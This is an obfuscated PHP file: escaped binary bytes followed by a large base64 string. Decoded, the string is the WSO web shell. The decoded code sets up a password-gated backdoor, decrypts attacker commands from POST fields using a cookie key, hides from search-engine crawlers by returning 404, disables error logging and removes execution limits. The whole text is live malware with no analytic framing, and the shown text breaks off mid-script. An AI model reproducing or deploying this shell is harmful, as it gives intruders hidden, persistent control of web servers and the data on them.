+5\xaa\xfa\xe5\x82\xec\xe4\xfd\xb9\xad\x01\xc8@\xab\v<\xc5}s\xfc\x83\x8d\xf4\xbd3o.\xf0H\xd0=K\xc03\xcb\x83\xfc|\xc5\xfb\xf0\xbd\v\xfb\x03\xba]x\xd5\xc7\xce\x00\xf6\xefR\x02z\xae\xaef'\xf8\xbb\xf1\xb0\xbf\xf9\x0ey\xf2\xa9\xbb\xbcE\x03\xabk]H7\x87\xf3\xf9\xa6\xd1\xfa\xe2z\x00O;\x81\x9d\xdd\xb8\x9b\x0f\x9f?\xa7g\x1ft%#X\xd8\x8b\v\xf0\xa7\x19\xd0G\xcft\x80\xc7\xc7x\x9e]\xdd\x7f\xfc}\x95\xbeWN\xd6\xddz\xce\x8b\xba\x94\xb1\x01\x1e\x84\xe7\xaf\xb1\x8a6\xed\xf1\xbc*\xd3+\x7f\x1ed\xee.\x12\xf4\xe5\x9a\xdbN\x19\xe9\xfd\xcd\xde\xdf\xe6\xc0\x1fV\xad\xc6m\xa1\f~\xf1\xfe\x07\xe3\xd2\xe9n=D\x7f\xb2\fX\xce\xeee\xc0\xc4i<\xea\x1f\xf8\xafW}\x8b\x0e\xd3\xa5v\xc8\xaf\xf76*\xe8B\x12\x8f\xffZ\x0f\xfaX\x82\x9c_\xb6\xdd\x99\xe5x\xd5\xc9<\xac\x02\xf3q\x06@\x13\xe6\xce\x8f\xa7\x1d\xff\xd7rF4\xb9\xb1U\xd0g\x15\xbb9\x8e\xec_\xc0\x9b\r\v\xf4\x9e\xa9=@\x9eZ\x05}4\xb2J\x17\xe0/V\x07h\xb8\xca\xc7tE9\xe5\xaa\xb3d8?l\xcch\xc1x\x1e\xd8\x13\xe2o\x90S@\xd3\x87\xe3X\xe29\xf8\xf74jXf\xd7\xda\xa1\\\xc5+\x18+\xac\x9aV\xc9:\x82]\xd8|\x9b\xeb\xb0\x07\xae\xbbB\x1eb{W\xd4\xbb\xdcV\xc35\x95\xce\x19\xed\rN\x13(\xc3\x8e\xb0\x86=\vd\xc4`\n\xf6\x8aR\xad\xce\xb1Z\x05\xe8=)\xcf\x06\xbdhQ2\x0e\x13\xb4w\x9c\xc6\v\xfe\xcdy0\xc8Q\x9d\x8d\x8f\xf4 \x15\xf5\x9c\xf1l\xdaP\xac\xc8m\xbdu,\xb4\x17\xa60\xde\xb9\xdd\xc1\xf1\xd9\x13+\x8cn\xb8\x1e\xa4wh\xa8\xcf\xda\xbf\xe8}1\xdf\x90\xf4\xb8\x9e\x8b<T\xab\xf5\xc0\xde\x9a\xce\xb6\x9d\xe5\"T5\xb3;\x98\xdaS\xbb\t\xf2\x1c\xe6\xbb\xbeXa\xcd\x99\x95N\xc8\xc3*\xc3v\x04zO\x03d*\xe8\x15SCc2\x8b\xeb5\xb3M\xd3\xdf\r\xce3\xd23C\xd2\xa3\xbcRg\x812\x9c\xf4\x12'*\xbf\x15\xf40\xa0\x99_S\xe0\xf9\xab\x08x:\xe8\xad`\xbft\xed\x18\xedI\xe0\xb9\xa5\xaa\xb4\x1e\xf5\x1b\xc8\xc0\xa3\x072\x1fd\x16\xea]dOL\xa2\xc8\x99\xee\x0e@?\xb8>6\xe8i\xd6\xafAw`\xbfq{c\x02\xf3\x9b\x83^\x06<\xf2\xd7B\xf1\x8fK\xb5\xe1\xcca\xbc+gpIy&\xe8\xc66\xd3c\x1bh\xbfX1\xd8/\xd3\x10\xe6\xeb/a>'\xaf\x04\xf6h\xe9z\x82\xfd\x8bQ\xef\xb3w*\xae\xe7\x11xP\x03dlw\xa5\x9d\xf8\x19\xf0\x7fMv\xfam\x8c<{f\xcc\xb0\xee\xdf\$\xb2\x0e~)\x1a\x8f\xd5C\xdbn\xd5\xd5\xa9\x12\xfd\x8b<\rt\xf7\x1e\xe8\xa5\xcd\x15\xd0?\xe8\xaaX\x9bll\x13\xbdE\xff\x0e4\xd52[\xd1\xc8\xd6\"#\x1d\xdf-*\x03\x8fS\\\xa6gM@\xef\x9f\x82L0z\xca\xe1\x17\xd0\xe7ly\xb3\x0eL\xa6\x0e\xac\x95\x06\xf4\xaf\xba\xff\xc2x' \x97;v\xa8\x826#\xeb\xa9\xfev\xd2>\x80\xfd\\\xb5\\\xb5\r\xf4T\x9b\x01\x8f\xcd\xf6s\xc7\xdew;\x1b\xd4yZ3\xd0\xa5-\xdb\x1d\xd8m\xb7\xe2\xcf\xb2\xf1gz\xa1\xcf\xc7K\xf6\x7f\xbcT`?\xb4\xcd\x05e\xb2\xaf\xd0ym\xcd\xc9\x9e\xab\\F\x13=\x97\x87G5\xbf3\xbf\xcb\x9a\xd5\r\xfe\xb2\xde7\xf2\x16Q\xb3\x97c\xbd\xfag7\xaeS\xde\xdd,\xcb\xbb+\xd46\x165z\xed\x1b\xde\xf5\t\x7fbV/\x16\xeb\"=\xa8\xe7[6?\xa9!{\xa4|+\x8c#f\x98\xd4\xc6a\xb5\x1b3\xec\xdafC\x819~ \x0f\xec\x97\x07{\xa9\x96-\xf9\xd7p\x1df\xac.\xd5\xfa.\xae\x89\xfc\xdfc)\xf6\x8b\xea\x12\xc5R\x1e\xdb\xcd\x9c\x9a\xb7\x01\xc6\xf4t\xb2\x1aB\xc3\xa0\x18\x9f\xa1\xc4,\x87\xc6\xcb\xee\x18(\xb7\x03\xdfc\xeb\x80\xef<\xcd\x01\x98\xf8\xaa\x87w\xa5\x14\xc3\xc4s\xb62\xcc\xeex\x117\xb6\xc6\xad\xda\x92\xf3\x00\x9e<w\x81\xe7\xc6\xaec\x1cs\xcf6\x05\xa6-\xf9\xe5E\xbe\xda\xddz<\xf0\xf5\v\x1f/_\xff\xb4\x16\xdd\xff\x866x\r\x9e\xcfi\xe6A\xadgX7\xdc\xe7\x14?\x1f}\x03\x89\x9a\xfa\x06`~\x1f\x0f\xe9\x82\xf7\xf7\xad\xfd\xe4\xcf\xcaq7,fC\xaai\x18\xda\x83\xa9ju\x1c\xa5\xd3\xb6:<Fe[Y\xff\x1d\xfa\xfb\vt\xb4\x1b|\x8f\x8ev\x83\xffSt\$\xc5\">\xcb\xcb\"_|\x16\xf7\x90\xc7\x18'\xdc\x8c~\xd3Rr\xf5pnj\x1d\xda\xbf\xb8\xf3\xca\xde\xd0\x16G=\xf6\x10\x93\xe7\xc3\v\xb0\xbe\xdcCLG\xf2\xa7;\xe5\x86\xea3|p\xca\x81\x87\xf3\x9b\xfa\xed\xd9]\xb4'\xe3\v\xd6%\xac\x8er\xbf\xdd\xa0\xb8\xe4\xc1\x16q\xa3\xed-\xc3\x05\xc1q\x85\xebUY\xc7<u\xa0/\xec\xeb[\xcf\x1e\x08S\xb4\x8b\xd8\xc4\xa2^0\xbd\xbb\xfb\xe4]\xb9&^Z\x87\xcc\xcf\xeas\xd5\xe4\xdc\x98Oj9\x07`\x13I1\x89\xd1\xd6\r\xd6A\xbf\x8c\xb9w\xb5\xc0kV\xb7zp)\xfa\x15\xd2u\xc28\x86\x08\xeb\xb6\xc1\xf9\xe95\r\xb0!\xcdu\x7f\xfe\xba\xce\xde\xaf\x7f`\xaeM\xbfd\\\xfa;3Hc\x00g\r\xd8W\xc2\x92\xdc\xebA\rsu>\x16q\xfd\xbc\x90\xb0Sy\xdbg\xc2Qo\xcac\xc2:\xb7w\xf1<\x01\xd6\xc4-\xc6p\xf5\x03}m\x04Y\x9b\xa9\x8c|t\x0fC\xfd\xe9g\xd7Y\xef\xf5\xb8q\xd3\xb5\x8e\xfa\xd6l\xbc\xea\x98\xdf\x8a5\x91b\x8c\xbd\xa2\x18^\xaa\x07.\xe2>\xdf\xd3:\xd8wt\xcc\xef\x94\x8c\x8b'\xee+\xe9\xfe\t\xe9X\xcf\xd6%n\x1c\xef\xd6\xb8\\\x7f\xbc\xc6]\x8c'\xc7\xd8\n\xe3\x82\xe7U'\xfc\xc9z\xbe\xad\xe2:\x04\x7f}\x1d\x80G_\xfet-\xb6\x8b\xe4\xe9Zl\x91F\xe0|\xdf\xdf\x05e\xb12\x18\xf3>gu\xe2`|;\x1f\xda\xab\x9fP'\x10m\xe8MNO;3GO\xe3\xae\xa8\v\x9e\xd1\xd2\"A\xfa.\xb4\x8d8XD\xcf\xba\xd4\xe6\xe35-\xc4\x7f\xde(\xfe3\xa8\xef\xb26\xb3x\xb1\\]\xfa\xb9z4\xa7\x15\xd6_P%\xfa\xf6\xba\xe6z\xe1\xd8\x15\xbd{YS]\xc2&\x9c\xfd\x84\xf0:\xc5\x9d_\x90\xc7\t~^C\x9bx\xbat\x7f\xb9(-\xb2s\xb63i\xff\x1e\xad\xb3\xd7|\xbc\xce\x18\x8b\x85w\xd4@\x0f\x91\xb7c{/\xaf3\xb4W\\\x8b\x84\xafE\xe1\xac\x9a\xfc\xac.2^\x90\xc5\x96 -I\xb1b\x97\xeb(\xc0\x18\xa2E\xd0\xdf\x11\x7f\xb9xIc\xe3;\xeb\xf5{\xb3\x81\xb5\x99.\xba\x064C\xe7'dq\xb7\xb0\xc6Y\xcd^\xba\xc3\xacI\xbaq\xfc\xcd\x9a\xe8T\xdb\xf0A\x8c\xc7\x86\xd5\x9f\x8dR<\xa4%\xec\xa5\x88\xe7\xda\x05!\x9c\xb1\xc5\xfa\x89\xcc\xe1\xb5\xd5+,~\x9a=\x7f\x10\xf5\xcd3\xfc\x01\x11\x03\x8e\xf3\xde\xffd\xb5v\xa9>\x9c\xa8\x03\x99\xab\xcbD\xf7\xd1\n\xab\x11=\x9dw\xce0/\xc4MI\xe7\xf0(\xef\x83\xd5s\xa2\xdc\xaa,6:\xaaEo\x98o\xd25\xf7F\x89\xdf\xdd\x06^>N\x95\xc6\x16\xaeY\xaet\x84\xb9\xf5G\xa7\x8c\xf1\x13\xc6;\xcd9Y\xc7\v^;\x87\xc5\xb0\x16\xfa\x9c\x9eh/p\x8d\x8bw\xd5F\xf7p\xf0\xcb\xf0\x93\xe4c\xd8W\xdd\xe8\xfc\xd6\xf4}\x193\x01cc\xdfv`\xf7\xc2\x0f\x97a\"?)\xbe\xcb\xff\xe3\xf7\xdf\x1e\xd8N0V\xd2\x9bz\xc5\xb8r\xfe\x8cQ\x1el\xbc]\x07t\x83\xea\x07\xe8/\x1f+\xfc\x91b\xf0\xd3\xda\xe2\x8f\xc7p\xf0\x1e\xc4\xa4\xf4\x93W\xac\x81\x8ay\xb7L\xe7(\xf9Q^\xe7X\x07\xcb\xae\xa5x\xad\xfdG\xbf\x14]\x18\x9d\x82\x1e\xeb<\xc7\xe0\xc1Z\xb1\xb4\xefr\r\xeeT/\xad5\xac\xb65\xe1\xd8\xba\xb9x\x13\xbdI\xb8\xc1\n\xee\x17\xd6\x91\xe1\xb5k\xd7V\x18\x99v\xdb\x9e8\xaa\xdb\x98\xb6\xa3\xf6\xd8F\x9d6\x1a?\xc37\x129\xb4K\xe7\x11fj#\xc5\x8c\x80\xb3\xb5qA\xa6\xadP?,\xa9\xf0\xa3\x140\x03\x1b\xb9\xf8\xb6\xfb\\\xa3\xb4\x8eJLX0\xe5\x81\xc2j\xc7\xac\x1f\xc6\xd5\x88u\xc1\x1a\x0f,V\xc7\xa8\xf2\xe7Y\r\x94\xc7X<\"_\xf8\xe0\xb5\x1e\xc4\x8c|\x936\xd2\x98\x89\x80\xcd\vi\\\xaf\xff?\xff\xcf\xff\v";
$fy5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6 = "aWYgKCFpc3NldCgkX1BPU1RbJ2x5bngnXSkpIHsNCg0KJOKWmyA9ICIiOyAvL2FkbWluDQok4paYID0gdHJ1ZTsNCiTilpwgPSAnVVRGLTgnOw0KJOKWmiA9ICdGaWxlc01hbic7DQok4paZID0gbWQ1KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7DQoNCmZ1bmN0aW9uIGRlY3J5cHQoJHN0ciwkcHdkKXskcHdkPWJhc2U2NF9lbmNvZGUoJHB3ZCk7JHN0cj1iYXNlNjRfZGVjb2RlKCRzdHIpOyRlbmNfY2hyPSIiOyRlbmNfc3RyPSIiOyRpPTA7d2hpbGUoJGk8c3RybGVuKCRzdHIpKXtmb3IoJGo9MDskajxzdHJsZW4oJHB3ZCk7JGorKyl7JGVuY19jaHI9Y2hyKG9yZCgkc3RyWyRpXSleb3JkKCRwd2RbJGpdKSk7JGVuY19zdHIuPSRlbmNfY2hyOyRpKys7aWYoJGk+PXN0cmxlbigkc3RyKSlicmVhazt9fXJldHVybiBiYXNlNjRfZGVjb2RlKCRlbmNfc3RyKTt9DQpmdW5jdGlvbiBwcm90b3R5cGUoJGssICR2KSB7ICRfQ09PS0lFWyRrXSA9ICR2O3NldGNvb2tpZSgkaywgJHYpO30NCg0KaWYgKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0pKSB7DQoJcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiLCAk4paZKTsNCn0NCmlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkNCgkkX1BPU1RbJ2NoYXJzZXQnXSA9ICTilpw7DQppZiAoIWlzc2V0KCRfUE9TVFsnbmUnXSkpIHsNCglpZihpc3NldCgkX1BPU1RbJ2EnXSkpICRfUE9TVFsnYSddID0gaWNvbnYoInV0Zi04IiwgJF9QT1NUWydjaGFyc2V0J10sIGRlY3J5cHQoJF9QT1NUWydhJ10sJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdKSk7DQoJaWYoaXNzZXQoJF9QT1NUWydjJ10pKSAkX1BPU1RbJ2MnXSA9IGljb252KCJ1dGYtOCIsICRfUE9TVFsnY2hhcnNldCddLCBkZWNyeXB0KCRfUE9TVFsnYyddLCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiXSkpOw0KCWlmKGlzc2V0KCRfUE9TVFsncDEnXSkpICRfUE9TVFsncDEnXSA9IGljb252KCJ1dGYtOCIsICRfUE9TVFsnY2hhcnNldCddLCBkZWNyeXB0KCRfUE9TVFsncDEnXSwkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0pKTsNCglpZihpc3NldCgkX1BPU1RbJ3AyJ10pKSAkX1BPU1RbJ3AyJ10gPSBpY29udigidXRmLTgiLCAkX1BPU1RbJ2NoYXJzZXQnXSwgZGVjcnlwdCgkX1BPU1RbJ3AyJ10sJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdKSk7DQoJaWYoaXNzZXQoJF9QT1NUWydwMyddKSkgJF9QT1NUWydwMyddID0gaWNvbnYoInV0Zi04IiwgJF9QT1NUWydjaGFyc2V0J10sIGRlY3J5cHQoJF9QT1NUWydwMyddLCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiXSkpOw0KfQ0KLy9mdW5jdGlvbiBkZWNyeXB0KCRzdHIsJHB3ZCl7JHB3ZD1iYXNlNjRfZW5jb2RlKCRwd2QpOyRzdHI9YmFzZTY0X2RlY29kZSgkc3RyKTskZW5jX2Nocj0iIjskZW5jX3N0cj0iIjskaT0wO3doaWxlKCRpPHN0cmxlbigkc3RyKSl7Zm9yKCRqPTA7JGo8c3RybGVuKCRwd2QpOyRqKyspeyRlbmNfY2hyPWNocihvcmQoJHN0clskaV0pXm9yZCgkcHdkWyRqXSkpOyRlbmNfc3RyLj0kZW5jX2NocjskaSsrO2lmKCRpPj1zdHJsZW4oJHN0cikpYnJlYWs7fX1yZXR1cm4gYmFzZTY0X2RlY29kZSgkZW5jX3N0cik7fQ0KQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCmlmIChQSFBfVkVSU0lPTl9JRCA8IDcwMDAwKQ0KCUBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpAZGVmaW5lKCdWRVJTSU9OJywgJzQuMi41Jyk7DQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7DQoJZnVuY3Rpb24gc3RyaXBzbGFzaGVzX2FycmF5KCRhcnJheSkgew0KCQlyZXR1cm4gaXNfYXJyYXkoJGFycmF5KSA/IGFycmF5X21hcCgnc3RyaXBzbGFzaGVzX2FycmF5JywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KCX0NCgkkX1BPU1QgPSBzdHJpcHNsYXNoZXNfYXJyYXkoJF9QT1NUKTsNCiAgICAkX0NPT0tJRSA9IHN0cmlwc2xhc2hlc19hcnJheSgkX0NPT0tJRSk7DQp9DQovKiAo0KEpIDExLjIwMTEgb1JiICovDQppZighZW1wdHkoJOKWmykpIHsNCiAgICBpZihpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJOKWmykpDQogICAgICAgIHByb3RvdHlwZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJOKWmyk7DQogICAgaWYgKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pIHx8ICgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gIT0gJOKWmykpDQogICAgICAgIGhhcmRMb2dpbigpOw0KfQ0KaWYoIWlzc2V0KCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSkpDQogICAgJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gKGJvb2wpJOKWmDsNCmZ1bmN0aW9uIGhhcmRMb2dpbigpIHsNCgkJaWYoIWVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCgkJICAkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIik7DQoJCSAgaWYocHJlZ19tYXRjaCgnLycgLiBpbXBsb2RlKCd8JywgJHVzZXJBZ2VudHMpIC4gJy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KCQkgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOw0KCQkgIGV4aXQ7DQoJCSAgfQ0KCQl9DQoJZGllKCI8cHJlIGFsaWduPWNlbnRlcj48Zm9ybSBtZXRob2Q9cG9zdD5QYXNzd29yZDxicj48aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3Mgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6d2hpdGVzbW9rZTtib3JkZXI6MXB4IHNvbGlkICNGRkY7b3V0bGluZTpub25lOycgcmVxdWlyZWQ+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9J3dhdGNoaW5nJyB2YWx1ZT0nc3VibWl0JyBzdHlsZT0nYm9yZGVyOm5vbmU7YmFja2dyb3VuZC1jb2xvcjojNTZBRDE1O2NvbG9yOiNmZmY7Y3Vyc29yOnBvaW50ZXI7Jz48L2Zvcm0+PC9wcmU+Iik7DQp9DQppZihzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsMCwzKSkgPT0gIndpbiIpDQoJJG9zID0gJ3dpbic7DQplbHNlDQoJJG9zID0gJ25peCc7DQokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KaWYoISRzYWZlX21vZGUpDQogICAgZXJyb3JfcmVwb3J0aW5nKDApOw0KJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7DQppZihpc3NldCgkX1BPU1RbJ2MnXSkpDQoJQGNoZGlyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZ2V0Y3dkKCk7DQppZigkb3MgPT0gJ3dpbicpIHsNCgkkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7DQoJJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN3ZCk7DQp9DQppZigkY3dkW3N0cmxlbigkY3dkKS0xXSAhPSAnLycpDQoJJGN3ZCAuPSAnLyc7DQovKiAo0KEpIDA0LjIwMTUgUGlyYXQgKi8NCmZ1bmN0aW9uIGhhcmRIZWFkZXIoKSB7DQoJaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQ0KCQkkX1BPU1RbJ2NoYXJzZXQnXSA9ICRHTE9CQUxTWyfilpwnXTsNCgllY2hvICI8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSdDb250ZW50LVR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbDsgY2hhcnNldD0iIC4gJF9QT1NUWydjaGFyc2V0J10gLiAiJz48dGl0bGU+IiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICIgLSBXU08gIiAuIFZFUlNJT04gLiI8L3RpdGxlPg0KPHN0eWxlPg0KCWJvZHkge2JhY2tncm91bmQtY29sb3I6IzQ0NDsgY29sb3I6I2UxZTFlMTsgbWFyZ2luOjA7IGZvbnQ6bm9ybWFsIDc1JSBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOyB9IGNhbnZhc3sgZGlzcGxheTogYmxvY2s7IHZlcnRpY2FsLWFsaWduOiBib3R0b207fQ0KDQoJI3BhcnRpY2xlcy1qc3t3aWR0aDogMTAwJTsgaGVpZ2h0OiAxMDBweDsgYmFja2dyb3VuZC1jb2xvcjogIzA2MGExMDsgYmFja2dyb3VuZC1pbWFnZTogdXJsKCcnKTsgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsgYmFja2dyb3VuZC1zaXplOiBjb3ZlcjsgYmFja2dyb3VuZC1wb3NpdGlvbjogNTAlIDUwJTt9DQoJYm9keSx0ZCx0aAl7Zm9udDoxMHB0IHRhaG9tYSxhcmlhbCx2ZXJkYW5hLHNhbnMtc2VyaWYsTHVjaWRhIFNhbnM7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO30NCgl0YWJsZS5pbmZvCXtjb2xvcjogI2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiAjMjIyO30NCgl0YWJsZSN0b29sc1RibCB7YmFja2dyb3VuZC1jb2xvcjogIzIyMjt9DQoJc3BhbixoMSxhCXtjb2xvcjojZGY1ICFpbXBvcnRhbnQ7fQ0KCXNwYW4JCXtmb250LXdlaWdodDpib2xkZXI7fQ0KCWgxCQkJe2JvcmRlci1sZWZ0OjVweCBzb2xpZCAjMkU2RTlDO3BhZGRpbmc6MnB4IDVweDtmb250OjE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDt9DQoJZGl2LmNvbnRlbnQJe3BhZGRpbmc6NXB4O21hcmdpbi1sZWZ0OjVweDtiYWNrZ3JvdW5kLWNvbG9yOiMwNjBhMTA7fQ0KCWEJCQl7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQ0KCWE6aG92ZXIJCXt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO30NCgkudG9vbHRpcDo6YWZ0ZXIge2JhY2tncm91bmQ6IzA2NjNENTtjb2xvcjojRkZGO2NvbnRlbnQ6IGF0dHIoZGF0YS10b29sdGlwKTttYXJnaW4tdG9wOi01MHB4O2Rpc3BsYXk6YmxvY2s7cGFkZGluZzo2cHggMTBweDtwb3NpdGlvbjphYnNvbHV0ZTt2aXNpYmlsaXR5OmhpZGRlbjt9DQoJLnRvb2x0aXA6aG92ZXI6OmFmdGVyIHtvcGFjaXR5OjE7dmlzaWJpbGl0eTp2aXNpYmxlO30NCgkubWwxCQl7Ym9yZGVyOjFweCBzb2xpZCAjMjAyODMyO3BhZGRpbmc6NXB4O21hcmdpbjowO292ZXJmbG93OmF1dG87fQ0KCS5iaWdhcmVhCXttaW4td2lkdGg6MTAwJTttYXgtd2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQ0KCWlucHV0LCB0ZXh0YXJlYSwgc2VsZWN0CXttYXJnaW46MDtjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzIwMjgzMjtib3JkZXI6c29saWQgMXB4ICNkZjU7Zm9udDo5cHQgQ291cmllciBOZXc7b3V0bGluZTpub25lO30NCglsYWJlbCB7cG9zaXRpb246cmVsYXRpdmV9DQoJbGFiZWw6YWZ0ZXIge2NvbnRlbnQ6Jzw+Jztmb250OjEwcHggJ0NvbnNvbGFzJywgbW9ub3NwYWNlO2NvbG9yOiNmZmY7LXdlYmtpdC10cmFuc2Zvcm06cm90YXRlKDkwZGVnKTstbW96LXRyYW5zZm9ybTpyb3RhdGUoOTBkZWcpOy1tcy10cmFuc2Zvcm06cm90YXRlKDkwZGVnKTt0cmFuc2Zvcm06cm90YXRlKDkwZGVnKTtyaWdodDozcHg7IHRvcDozcHg7cGFkZGluZzowO3Bvc2l0aW9uOmFic29sdXRlO3BvaW50ZXItZXZlbnRzOm5vbmU7fQ0KCWxhYmVsOmJlZm9yZSB7Y29udGVudDonJztyaWdodDowOyB0b3A6MDt3aWR0aDoxN3B4OyBoZWlnaHQ6MTdweDtiYWNrZ3JvdW5kOiMyMDI4MzI7cG9zaXRpb246YWJzb2x1dGU7cG9pbnRlci1ldmVudHM6bm9uZTtkaXNwbGF5OmJsb2NrO30NCglmb3JtCQl7bWFyZ2luOjBweDt9DQoJI3Rvb2xzVGJsCXt0ZXh0LWFsaWduOmNlbnRlcjt9DQoJI2ZhayAJCXtiYWNrZ3JvdW5kOm5vbmU7fQ0KCSNmYWsgdGQgCXtwYWRkaW5nOjVweCAwIDAgMDt9DQoJaWZyYW1lCQl7Ym9yZGVyOjFweCBzb2xpZCAjMDYwYTEwO30NCgkudG9vbHNJbnAJe3dpZHRoOjMwMHB4fQ0KICAgIC5tYWluIHRoe3RleHQtYWxpZ246bGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiM1ZTVlNWU7fQ0KICAgIC5tYWluIHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6IzVlNWU1ZX0NCglpbnB1dFt0eXBlPSdzdWJtaXQnXXtiYWNrZ3JvdW5kLWNvbG9yOiMyRTZFOUM7fQ0KCWlucHV0W3R5cGU9J2J1dHRvbidde2JhY2tncm91bmQtY29sb3I6IzJFNkU5Qzt9DQoJaW5wdXRbdHlwZT0nc3VibWl0J106aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNTZBRDE1O30NCglpbnB1dFt0eXBlPSdidXR0b24nXTpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM1NkFEMTU7fQ0KCS5sMntiYWNrZ3JvdW5kLWNvbG9yOiM0NDR9DQogICAgLmwxe2JhY2tncm91bmQtY29sb3I6IzMzM30NCglwcmUJCQl7Zm9udDo5cHQgQ291cmllciBOZXc7fQ0KPC9zdHlsZT4NCjxzY3JpcHQ+DQogICAgdmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCiAgICB2YXIg